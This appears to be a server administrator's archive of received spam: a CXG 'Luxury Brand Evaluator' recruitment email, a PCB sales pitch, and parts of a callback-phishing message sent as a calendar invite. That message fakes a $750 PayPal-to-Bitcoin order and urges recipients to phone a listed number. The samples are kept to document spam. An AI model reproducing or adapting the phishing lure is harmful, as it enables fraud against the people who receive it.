Resent-Date: Wed, 10 Jun 2026 18:56:00 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-uaecentralazon11020081.outbound.protection.outlook.com ([52.101.159.81]:63853 helo=AU1P273CU002.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXTOe-00000000N7B-1FR8

for root@nk.ca;

Wed, 10 Jun 2026 18:35:57 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=blsc19G9NKuImtcYDhC1t6whkeH95Bqo+eIcmuLVFcdwS/A6SBxHCi0iQLtm3Nuz+nWKtpyzAvhblECiHhSD7Wyh+5UUa7Nxbk4GN1w9AYzDkAX0bMkpkDqklQ5x7Ek7WkdiqFjozYBrdi2CcRPpIZfFOdcBEla0vR9aTX+SOP+rU0GZhutDBIxXvzevAnOWbEhLsiaeiabwyaLAf0Pws7qD9qexoNDXmWp+4sz01Yxt9+R5zaB4uF4zzL29jJOJExtiTpzzeF4pR3tHi68O9BnNlLxjZDxETVx//ETUd+4CXhOyxz8hnGZ1FvWHIftLthU+jrqYNVGpR34wpHGl0Q==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=Rd1L3dgpkiO+OHZ5HEEwzFRep6jLFaXMDpM6lUu/i94=;

b=mljnFOHB0rbJmn8E6TErIciRHvNa6DNF0XUu6d4v/9jfThp/5QX7OzB4Tm6fQ5fS76mq3dlfWCSi5e29JAOE+sQYLbx6CW8QD/6jgfXel78AWoZcOqaubA8hq2Rl7Bh9BKhNZQPSImOOamU+PM7vtxHAY52u8KhDbcfVVng5G5Wfe9gRplN+bmRyb1CxWLKmKfxV/b5yNN8wKA+yShpRe6XIJUZ6MyJs3UF7a9OOclzLZ1lp+888adGS4JgyBfN3/Gl+HqqXCQQIOD7niJ2mFZ0BuPVqR7579cmfrltDJfe/idldxEHjcke+YaJ2mKphdRQpszIJyr3tv71LE3aWaQ==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass

smtp.mailfrom=cxg.com; dmarc=pass action=none header.from=cxg.com; dkim=pass

header.d=cxg.com; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cxg.com; s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=Rd1L3dgpkiO+OHZ5HEEwzFRep6jLFaXMDpM6lUu/i94=;

b=Q+m15fBXbhaneHNGT0V/BkGPgeyYC49NTNLj4BeP1XVgaLOGaK9xSDc35rRVuqgX6FwigIlZ+BZKJzejmtKMReCX/ITUCbivll/ugwQ+fi9mVk+bNjEwGL29YrA3WRo0F+0Kl6OJVo1X/uc14/cj+SF8kDqvs+JmwWEUySoN6ltLQJDO7c/osQLQ6tHOtPSJa9FHesCHbyKADoW9wVhKV2U99cXnW43NMK/OTBjh5yJimhRXtofrZOWvpCqboQ5A0FzdtIZ1ASRDxgpD2pUvk9W8elxFPA+Au6+0TCNOPQraZI2cCGs/7hsjW78ptf4bHVJsqxE9PGAgYEaOtI2wzQ==

Received: from AU2P273MB0387.AREP273.PROD.OUTLOOK.COM (2603:1086:200:2c::10)

by DX3P273MB1046.AREP273.PROD.OUTLOOK.COM (2603:1086:300:42::6) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.113.13; Thu, 11 Jun

2026 00:34:48 +0000

Received: from AU2P273MB0387.AREP273.PROD.OUTLOOK.COM

([fe80::cad6:1492:74fe:c193]) by AU2P273MB0387.AREP273.PROD.OUTLOOK.COM

([fe80::cad6:1492:74fe:c193%5]) with mapi id 15.21.0113.013; Thu, 11 Jun 2026

00:34:48 +0000

From: Viridiana Reyes Robles

To: "root@nk.ca"

Subject: Become a Luxury Brand Evaluator CXG

Thread-Topic: Become a Luxury Brand Evaluator CXG

Thread-Index: AQHc+Toa0IEf67wTZEGFdwf3SwuYvg==

Date: Thu, 11 Jun 2026 00:34:48 +0000

Message-ID:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

x-ms-reactions: allow

authentication-results: dkim=none (message not signed)

header.d=none;dmarc=none action=none header.from=cxg.com;

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: AU2P273MB0387:EE_|DX3P273MB1046:EE_

x-ms-office365-filtering-correlation-id: e3b6fff0-790d-4b8a-42c1-08dec7513e34

x-ms-exchange-senderadcheck: 1

x-ms-exchange-antispam-relay: 0

x-microsoft-antispam:

BCL:0;ARA:13230040|1800799024|23010399003|10070799003|376014|6049299003|19092799006|366016|5023799004|56012099006|18002099003|13003099007|8096899003|38070700021|4053099003;

x-microsoft-antispam-message-info:

o8dRASr9k14Wxu6u6wtX5+kEPQZQ5ixXUiYlAs8xCTWenDGBE35rIOas0x7oo4fn8UrVN06Lx59b31vSTp3Os8Mroti+bcWuz8Xsf9F99uWG/seMHbhTjvMZt2yPuNJrT3oO6T8wDdu0NWVHSb/SHpQlyHnWhnNGlHbYbWMJERbupEeXpVFB0JK8+G1iz/chwizGirl2QpkHJyTkkzsL81dzpk3FnDAMVpKqO770VqIWPbduT6HC87SMGDMTWsucBhv9y5Mt4XUAm1tUDokpM43evSsBxvIn/MtA/8MjbRq2pKmGz09lWtCZrUwdt9nuFxwnI45VgJFhsCVS3PNk8l5WGUsfOrQXxChTBy9pROgbMcRdUfMNHO08AFLls5ih/dFMymXkpeFrYmGjBclKg3sU++MaLL/sT2gmdPEgDi8oMZwCj4xOPiM7uKTz+It2tQWBu3xsMzRD4rZMJTebtHaeZEb+FgwjbTi098Hca5Nau88rm84PJCbAEXAOxmG1UEdK8WzKHe4uyZ+bKtfRFBY+AcPSUsI/rkp9fQLizZ/moPKYKUJf/D5pprHVNWWTEeErioButg/eHX/PBF/ilD0Jj/RLb1ckn1yS3EweQRSP80J/bYtzQUdngGVfAPtEqTKhbntDV5fu4Y76qp526WtQlBRyjRvcLaE/P2YxkSB9sl47x6EKFjOOQUg2iV2fjx7GcbSkKFR1aGSRBjcf9A==

x-forefront-antispam-report:

CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AU2P273MB0387.AREP273.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(10070799003)(376014)(6049299003)(19092799006)(366016)(5023799004)(56012099006)(18002099003)(13003099007)(8096899003)(38070700021)(4053099003);DIR:OUT;SFP:1102;

x-ms-exchange-antispam-messagedata-chunkcount: 2

x-ms-exchange-antispam-messagedata-0:

=?Windows-1252?Q?v5wIkG535q2i7EKOAq+2k2reVkQ+Vfr1bV7WXxxl/Sjs6R4jkm+LUOX9?=

=?Windows-1252?Q?M98wBDNcG/Dk0WW5X8DHRMasRy5O64xDjJaEDlM41AOYaOzJmxJVacOx?=

=?Windows-1252?Q?j9f6PmGfPfcLs4t43ivhhygQAx5h/NTD4O/GVKRid4jzISw/yvs2h6td?=

=?Windows-1252?Q?h71UVbzKx6EjbRsb/+DBx31LjUffosg0hejO5vOBUVbJdYQKrFAKdqSF?=

=?Windows-1252?Q?UX2S2rTk4dAzx+Tdx2wEF+2i5nC0lFBz5TpST/5MVaSQ96dZF73o6WMt?=

=?Windows-1252?Q?UAStwNpoD3VqsBU1nsY+RZKnp1eYZuTMGBj6eG2ejJI/EMyjKpVM6MP3?=

=?Windows-1252?Q?9YbkMnqN4iQxwAVlCIRpymb4g+Xt+SreKypa/1+RT9MJVXtNT55gf0tu?=

=?Windows-1252?Q?Lam3E4lDzJPNM/fBTGZwgjqqxum32R/ISNuc5bEF3O+mmJ5xJd+gUebC?=

=?Windows-1252?Q?lpsXbHCFDgLupGvMacnDZpff/di/4ZcLkMMnnpa4dgco/587jZWO4Jm0?=

=?Windows-1252?Q?kCndUo8+XEzHxqZlp7WmRYw6q8Hl2cDlnCKfHiuQpSQ6CFMj/KFPRplE?=

=?Windows-1252?Q?qPiLOoia14vD8exgtElDiemKjDXVgKoC2AH3jaBmG8heZ7hqTTvi2xYv?=

=?Windows-1252?Q?i6R9NjXhT3/HLjDqDxUax4LGBxZZpWlZ3ML/HoqEje3oIBoe8dgUU0vZ?=

=?Windows-1252?Q?/N8fZ/fOl33L3jrh9QsxYOrOUxJg6PfaPXIIt9kAKsZEKqvnLo8fBAaa?=

=?Windows-1252?Q?Mt1KXNV/bxw79tXTi8BP/9Nv3kzGPtHJXhKniq5NPHm9TKW7F2CFZi1e?=

=?Windows-1252?Q?eUInF52uS5VksQf7nssE7FWoDfLfA609baY/a2WYezvE1GcM5EkxFlaK?=

=?Windows-1252?Q?7uayOMJHdtSymnXD2+tRpW6jnYKe7hYKXsRvsaiw6j2dgPyvpyaqojGW?=

=?Windows-1252?Q?cymy7cr7Ud7rpl5utYHzRVNOuhDrfH/Dxea5Wtca3DHqrkGsqxYJM1qO?=

=?Windows-1252?Q?AcaUBoBdNHN/7nPHZiw/bYaCRQfQoav83/kzAxDs826xggAKKSkLdKOp?=

=?Windows-1252?Q?BTUf7VVpPKwAlgzslgGCBS+pCyxB/0bV1lZRYj09QzoHM+7b4tCDe4H6?=

=?Windows-1252?Q?T3/SRjMpbovmMH6LV7+lBdiEOBPMoBE2+dWRmPmF5Qa3CoeyJY5qJzna?=

=?Windows-1252?Q?vb5msij0zdCd4Kdqc8l00YBn0b4gsZln50Od6aq6rzZkrPHYks5ozSw1?=

=?Windows-1252?Q?+9BuzxM0wTxSZA+kU31zoLi6dQedm/OunIjxaEWqpiveSIKjQwVVeYRf?=

=?Windows-1252?Q?dUPv/QsaXMd0ayFxHkpE9FNvzc6kzCpA4h2/ulO6tED5suVj6S6YpxvN?=

=?Windows-1252?Q?yIhBuvKqbK9JTmbkjFJsveE3zj8/kxwMIRqzE1cEbhdYrgDsYacRPsdm?=

=?Windows-1252?Q?kOcQCzFGNoBe+IvQVbqYCXbvcCNA941OBqGjq7VYCPFxxQRaU9OxFIf3?=

=?Windows-1252?Q?0MmfDhdnv6Qh6ed0+d1TXZ2xhV/GxpQkRNLM6oS6iwqRm8IHE0tiDxXl?=

=?Windows-1252?Q?sfnMq6IYDtjiMG6I+15KKGnfrvCBLwvDxouZMreU3q0KLNr1BU8n56n0?=

=?Windows-1252?Q?AkTt/qz1c2vFH1cUKITZcPCD3ur29LtcbZbsQnJpI8oiDM1q0K9N1bT2?=

=?Windows-1252?Q?WvmHHiVCW5rvsq6P8uVrpVIxU7DCzKo9nI9/QNorZ/tu52aF9djJ7BNQ?=

=?Windows-1252?Q?i/4EYZni6mufnDCEZzzmmLN15iLkS9TyYdTm73Bn+ZI+lGa4ztj5cVz/?=

=?Windows-1252?Q?SOPkCrPvL/230wvGg32zi3gxwWWoXl8cCOPFPgqJ8bjzWxAV7XzLfN31?=

=?Windows-1252?Q?qdCaKJwbz2auDiKTuxPNtEwU6f8OMc/3bGz2T8+3IpFIMamZeQvQMhFE?=

=?Windows-1252?Q?aMVTlGWp?=

x-ms-exchange-antispam-messagedata-1:

OKsc2seqYBhFYiODleXyioD5xFbTqqZkYwRKqWmtYTqyUlqzVGySdkmK

Content-Type: multipart/related;

boundary="_005_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_";

type="multipart/alternative"

MIME-Version: 1.0

X-OriginatorOrg: cxg.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: AU2P273MB0387.AREP273.PROD.OUTLOOK.COM

X-MS-Exchange-CrossTenant-Network-Message-Id: e3b6fff0-790d-4b8a-42c1-08dec7513e34

X-MS-Exchange-CrossTenant-originalarrivaltime: 11 Jun 2026 00:34:48.2499

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: dd559daf-813f-417e-9e08-5cf04e8217a3

X-MS-Exchange-CrossTenant-mailboxtype: HOSTED

X-MS-Exchange-CrossTenant-userprincipalname: mT333MWSfKuLaiSRwlmg2HLEBAMtlcsZqiP3NmwwcrFY36T1V21gA4QxWabfT8mu1W0JBrcl9P/QaNfD7q9Anu/J4y1YBZnX64L/lXZ4CwE=

X-MS-Exchange-Transport-CrossTenantHeadersStamped: DX3P273MB1046



--_005_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_

Content-Type: multipart/alternative;

boundary="_000_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_"



--_000_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_

Content-Type: text/plain; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable



Hi Dave,



My name is Viridiana Reyes from CXG, and I=92m reaching out as I believe yo=

u could be a great fit for an opportunity we are currently offering.



We are currently looking for Luxury Brand Evaluators who help luxury brands=

enhance their customer experience by providing honest and detailed feedbac=

k on their services, either in-store or online. This role offers the chance=

to work with some of the most prestigious brands worldwide.



With your extensive work experience, you have a strong foundation to provid=

e insightful and valuable feedback that luxury brands would appreciate.

This role offers flexible assignments tailored to your interests, compensat=

ion based on mission complexity, potential reimbursement for purchases, and=

the convenience of managing everything through our user-friendly CXG Live =

mobile platform.



If this sounds like a great fit for you, I'd love to discuss the role furth=

er and answer any questions you might have. Please feel free to review our =

job post here: https://apply.workable.com/cxg/j/4FC4B8D119







Best,

Viridiana Reyes Robles

Growth Lead, CXG







Office 1507, Damac Smart Heights, Barsha Heights, Dubai UAE

P +971 (0)4 235 5607

cxg.com

[cid:image001.png@01DCF907.BBD814A0]
up/?originalSubdomain=3Dpk>

[cid:image002.png@01DCF907.BBD814A0]

Watch our brand video

Read our story



Chinese products spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 17:57:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXSn4-00000000JT6-26LZ

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 17:56:58 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 17:56:58 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-m8357.xmail.ntesmail.com ([156.224.83.57]:55340)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXQiO-000000009iL-2Xg3

for sales@nk.ca;

Wed, 10 Jun 2026 15:44:15 -0600

Content-Type: multipart/alternative; BOUNDARY="=_Part_1605073_358009876.1781127780443"

To: sales

Reply-To: sales23@abiscircuits.com

Subject: =?UTF-8?B?RnVsbCB0cmFjZWFiaWxpdHkgZm9yIHlvdXIgbWVkaWNhbCBQQ0JBcw==?=

X-Priority: 3

MIME-Version: 1.0

Received: from daniel@easetradefund.com( [10.139.4.149] ) by ajax-webmail ( [127.0.0.1] ) ; Thu, 11 Jun 2026 05:43:00 +0800 (GMT+08:00)

From: Abis-Diana

Date: Thu, 11 Jun 2026 05:43:00 +0800 (GMT+08:00)

X-WM-Tid: 0a9eb37d184f080akunme4cef3b6200236

DKIM-Signature: a=rsa-sha256;

b=N/cHwa/SKXaQSCxJfdoSifLkWhkj9ELkKq+saZhfniupxCZSZigumoDOP20RGqnb3s6fGrJqMWTSmQ1nH+KPylLM68hXy17IiSC0ZklFr2+TRa06Xnweqxy4N8HgLrItjYIvKv68p/m6GYt9b1U+ARo6ArfLqi7jGZWC/lhd47Y=; c=relaxed/relaxed; s=default; d=easetradefund.com; v=1;

bh=8x7SKujGu4MY0oiTsyy/1CNHyh+saKpA7ZGe6RU8Ww8=;

h=date:mime-version:subject:message-id:from;

Message-ID:



Hi Sales,



One common challenge we hear from medical customers is audit readiness — especially when traceability is incomplete.



We provide end-to-end traceability for every PCBA, including:



Component lot tracking

Process parameters (reflow profile, inspection records)

Operator and production history



This enables our clients to effectively navigate audits and promptly address any quality inquiries.



Would traceability improvement be relevant to your current projects?





Best Wish& Regard



Diana Dai

Project Representative | ABIS Circuits Co., Ltd



Rigid PCB, Flex PCB, Rigid-Flex 1~32 Layer PCB, Metal PCB, HDI PCB, PCBA

Mobile / Whatsapp / Wechat: +86 13510754753

Email: sales23@abiscircuits.com / diana@abiscircuits.cn

Website: abiscircuits.com





Bitcoin payment by Paypal phish from Microsoft Outlook Part 4

Attendees:



cynthiaperez389903@groups.outlook.com



Confirmation Notice – PayPal to BTC Transaction Initiated

Dear Customer, Thank you for your recent PayPal payment. This email confirms that your Bitcoin (BTC) order has been initiated successfully. Order Details: Asset Purchased: Bitcoin (BTC) Payment Met



Dear Customer,



Thank you for your recent PayPal payment. This email confirms that your Bitcoin (BTC) order has been initiated successfully.



Order Details:



Asset Purchased: Bitcoin (BTC)

Payment Method: PayPal

Total Amount: $750.00

Current Status: Processing



Your transaction is now being validated through our secure payment system. Please allow a short period for completion.



If this transaction was not authorized by you, contact our customer support team immediately at +1 805 424 9350.



Best Regards,

Transaction Processing Department

Kedy

streda 10. jún 2026

Organizátor

Haresasz Nxysarwsa

haressaznzxrrsxaxz321@gmail.com

Hostia

(Zoznam hostí bol na žiadosť organizátora skrytý)

Odpoveď na cynthiaperez389903@groups.outlook.com

Áno



Nie



Možno

Ďalšie možnosti



Pozvánka z Kalendára Google



Túto správu ste dostali, pretože ste účastníkom danej udalosti.



Ak túto pozvánku prepošlete, ktorýkoľvek jej príjemca bude môcť odoslať odpoveď organizátorovi, byť pridaný do zoznamu hostí, pozývať iných bez ohľadu na ich vlastný stav pozvánky alebo meniť vaše potvrdenie účasti. Ďalšie informácie

Bitcoin payment by Paypal phish from Microsoft Outlook Part 2

X-Microsoft-Antispam-Message-Info:

=?utf-8?B?ajlycUI3eFU1bW9jV2IxcFhzbFg0eTY2OXdvNFJiOGowN0I4NU5MYWVVRDdZ?=

=?utf-8?B?Q3ZzS0gySHFOdUZvMTVRZVFZYUx1ZHV1a09DMVVZQnlYUzZsc0xWdThGSXUx?=

=?utf-8?B?RFI4SVFldjNFZ0ZSc25USlhIVmxnN3Nnbm1pQnlqc1RONnkvUEtRSFU5MmdV?=

=?utf-8?B?Z3Z4UXN5cWVtS2VjVENvRmpvRjFwbUhlc2F3MkRBY2Faa0NabmYvc1BqOHNt?=

=?utf-8?B?YTZLeDFkWHh1N0lQaHc1eHljdm1iblhEYUxiVGszNitpeGU1OUFVWnVBR3RD?=

=?utf-8?B?S3R6dzZuMlZJdkdLeFlBZmpwK2NaTldYRmZNYnJrYnJIbGRyT2dIdUtMbGJW?=

=?utf-8?B?dUNydGVublRUcnJCQ1hrTkw3V2pXOWZkSCtiL3hZcEhIbHR1L2RNcC85RmVT?=

=?utf-8?B?L2kyZWk4TkdMZlZ3dnRsQ1ZBTk5rQ1RFaCtRbm9DdXlMNDdTTzFKbU5hTllY?=

=?utf-8?B?MEkxM3R1STZkRURnSEUzS1J0NUpROFpYZTRpSDFWaHFramFiZk1mZnJvbzdU?=

=?utf-8?B?Rm9xMHlCWWhOWVkxUWFCTytNZUhvY1lNMWpPenNvaU9EWTA2M2FybG9ub2pN?=

=?utf-8?B?S3c3VVpYdHlsZUFqRC9BbWt3S3hzdjNsdEc2aERKKzVUc1l4SHkzKzMwRHVE?=

=?utf-8?B?cFlVZVd4NHpRZEZHOFBvL3ZIQW5nWHdqSWRXdzY1QllhblhSQmdJd2tXTnNu?=

=?utf-8?B?eU1XUTdOdFlJczk0RGE3SlFHYTVIbENoSmEzVFRUOVNTcTAyR29iUEFQdmJV?=

=?utf-8?B?MFQrK3hMaEsrNDJwZVdtNndLWlhWbVl2blhrNzlLaDZHVG1TVndhOWV2aUg2?=

=?utf-8?B?OUxYMXZsMFNtRDRjUHVVT1lvMDRyd0lRWGo0YnM3ODNwTmFHb2pSeFYxMzBk?=

=?utf-8?B?UUI3cVgwZEFVVHczbHlnNkQwVHdZUHFNT0tyb2JJOGYyM1NGM0xITHlIVDVG?=

=?utf-8?B?MTAwSjZyWFd5YTh5RTRkbTFnTy8rMDB6VEQxOTREK1RMeWpSb1lCa216REpq?=

=?utf-8?B?QndIUzJQVjBJVjZHVjdQRExQRW43ME55M2w2alI5dnRmbjhlKzRIRzVGalZH?=

=?utf-8?B?OHRhRnhyWWdoZ21jTUpaYkFsV3NIR0RrUk1ad2k2a1VFSHl5TUNaUDhKa0Ft?=

=?utf-8?B?dkpGM0xncGg1aVNwUENZc3lvV0pnVE4wVnZ4MTRkNEduU0NxNTJtelMzNzFL?=

=?utf-8?B?YjFOR3l4eGNGZk5TVXhMMkVzQll5VUlrbXZyU1kzcUxRUWswMEFUM3A3T01t?=

=?utf-8?B?aURUNDB1NWZYVjFhOVE0YlIyNnU2OEhLTFdjbU13UXlXTTZ1bkYrVmxBUFJC?=

=?utf-8?B?TkFBdmlOekUvRyt6OTRaZWVNVGN6M2QrNkZ1VUdsaURaMjZ3Wks1Vzk3T1RP?=

=?utf-8?B?L3N2ejRSTUdoYjZyZXdQeGVsQ3FMaWwwbXhVZ1ZJWUg4cndIMUpEcFptSDBN?=

=?utf-8?B?TVlCYTU1ejNsbXBXVXF3eHBlaE1GWXV2WUQ2WGt1bzMvbjAxSGVPckZBMkRn?=

=?utf-8?B?NEsrL2xmNllTUU5WVGxHWVdMV0dlT21Hb2Y3dVRNbGRQWDN2R2t0R29sS3B0?=

=?utf-8?B?cEhaSmdaZWk0RTdJZG40U3VHeXVCMVlmamsrRW5MWUkrSU14TSttSWRwWXdx?=

=?utf-8?B?Y3VWcW1rVjl2WGU5S2pmMEhYR2FHbzN3K0V4ekZwQTdBVU1ZR21BTjRrYUFi?=

=?utf-8?B?SVlIYWc5djR3NEZYbTIycUlJUzVqZ0lSTnlQbXR1M1JBbHFmUHBJU0lhZ2JO?=

=?utf-8?B?blMwVzFIN0FyVVZHVUhpOTVGbGRlcDE3Tnc2ZU9sN3FDMmNXZHZtb25hTFRW?=

=?utf-8?B?UHREd2gzbGx3S1RaNDd5KzlKVW16blYvcWcvalJGaEluSTZjNHBZZjlNU3lE?=

=?utf-8?B?MVMzZytTaW4xOFp1djBhTHJkTG45bWRra3pVczY2am9IUVg3ektZNmtsZ1Ux?=

=?utf-8?B?aTVQZEd6ZzRONGZPNWJDRmdJbkJEb21oUEpEN1ppa2JJc2tyMHJlNUVuaTFm?=

=?utf-8?B?eE1sVU9zWC80cURmRWY5Z05xYWF3cEo4T29hSHFWQ0YzK0xmSmdkODJzdkdu?=

=?utf-8?B?V21UZVhoNStCK0Fzb0M0ZFZEbHZiUWxmY0VDcEhSeG5YVW8wNzlIUS9WYmdK?=

=?utf-8?B?QWdiZDBDVlVYYkNtVXpGMVlaSktIV1hVR3plWVFIREc3TjVSOUovaFFsNUtX?=

=?utf-8?B?cDd1TjNSTTI5Z0szMDZTcEEySE1IaDQzejBObER6OU5NcXphTGRnaUE0elBQ?=

=?utf-8?B?c1ZzRnFibFFYdkFsaDZ4WjVtZXA0Uy9US1VCVVZvZGlOWngrekFlMFdZWDhY?=

=?utf-8?B?NGszZ202cytEdjg1RFU3V1VEREVoK0xnK0ZjcnhZL2E5WDd0eitOTVNDU0pD?=

=?utf-8?B?LzE4ek55cGlYZ3dCVlI0WkpDenB5UEEwWkNLMFZMZnJMcTZ0Rm53cklvL1Fq?=

=?utf-8?B?ZUs5dkp1dFRsTFpKeXNJcHVhbVNmZU5mWHlBSFdJTjdpcmRoSzBVZUFsaTRo?=

=?utf-8?B?bXNpOURYRVhnY09mWUkxdzVRUzJwNXNVc1A2NnUxU1lSdGU2dG9wNFZWNVR5?=

=?utf-8?B?YVZtWlFKd0dpbElXQTk2QW9VcEc0SXRpdGgrNU5tWndwdHZoRWtrQnBXUmV4?=

=?utf-8?B?UXNyYjZRSmljZlU0eEp2UU80YnZMR3FkOUF0YW9nYkI0cXZZSGZGVDdnN2N4?=

=?utf-8?B?U05DSldtUmc1SWlCYTNXSFBZMUtoaXpKWHYwWFJQanlmcDF1ZFZTdHZaeXJZ?=

=?utf-8?B?bUdRQ01KbTJBM3hHNzg2cTYwakNzVVhHMUdBRElrMzdIcWxEZ0lRdGJvdXQ3?=

=?utf-8?B?REV3em03K3dSQjR1U2o0S3ZGcUNjd0hBMWRsSVlONlJ2cjdiM1RXVHkyN01w?=

=?utf-8?B?bTJQNXpEMyt3eGwrWEtTMEhyRVZESFZWVW52UCtKMmowTzQrb3R5c3VIbGFO?=

=?utf-8?B?WlVpOWFJSWpaZG16b01vRTltNlo3Nld0ZG9XVmd6TVllNHhjcmpvdDZoVWZ5?=

=?utf-8?B?Y1h3dnBSYnYvV2VLcWdLMjkyTmxkc0tvaWdNTEVmMHJxOTYvUDEwQ1daZ2VK?=

=?utf-8?B?RTZEYmxWN05KcW1tM0QxeVB1TW51TVRId2tTalBoS09IQjBVUE1zSmJCV1hz?=

=?utf-8?B?MlhuYklLcVR4U0dhQ2FseVR6WS9LcWNBak9oU0F0VjJENVpJN2M5aTQ3c1Jy?=

=?utf-8?B?SFZjYVJTc2tXN3VlRkNqWnc2ZXgyU0o4bS9lNjZVblpPVGdpMUwxdDFEbFlv?=

=?utf-8?B?L01iYmNHRlFtNmU3TEFDY1ZsbVZNVURKbHBFdHcrN0FCWWh3ODIzazNTWTZj?=

=?utf-8?B?Rk9XRTBsYk1ENXd6RGpGSy93d3BWNkVTZ01tTzdwQzFzd0piM1FnQkd2dlEr?=

=?utf-8?Q?GyKXl3TjXJBIv39NjF2zP?=

X-Auto-Response-Suppress: DR, OOF, AutoReply

X-OriginatorOrg: sct-15-20-9412-4-msonline-outlook-090a5.templateTenant

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jun 2026 15:56:44.0984

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: c28fb6a7-8441-4852-23ea-08dec708de95

X-MS-Exchange-CrossTenant-Id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-AuthSource: DU2PEPF00028D0E.eurprd03.prod.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: Internet

X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR18MB5572

X-Spam_score: 13.7

X-Spam_score_int: 137

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Confirmation Notice – PayPal to BTC Transaction Initiated

streda 10. jún 2026 Dear Customer, Thank you for your recent PayPal payment.

This email confirms that your Bitcoin (BTC) order has been initiated successfully.





Content analysis details: (13.7 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[209.85.128.71 listed in will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:cafe:0:0:75 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[2603:10a6:10:54d:0:0:0:7 listed in]

[will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

[40.93.12.22 listed in will-spam-for-food.eu.org]

Bitcoin payment by Paypal phish from Microsoft Outlook Part 3

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[40.93.12.22 listed in dnsbl.ahbl.org]

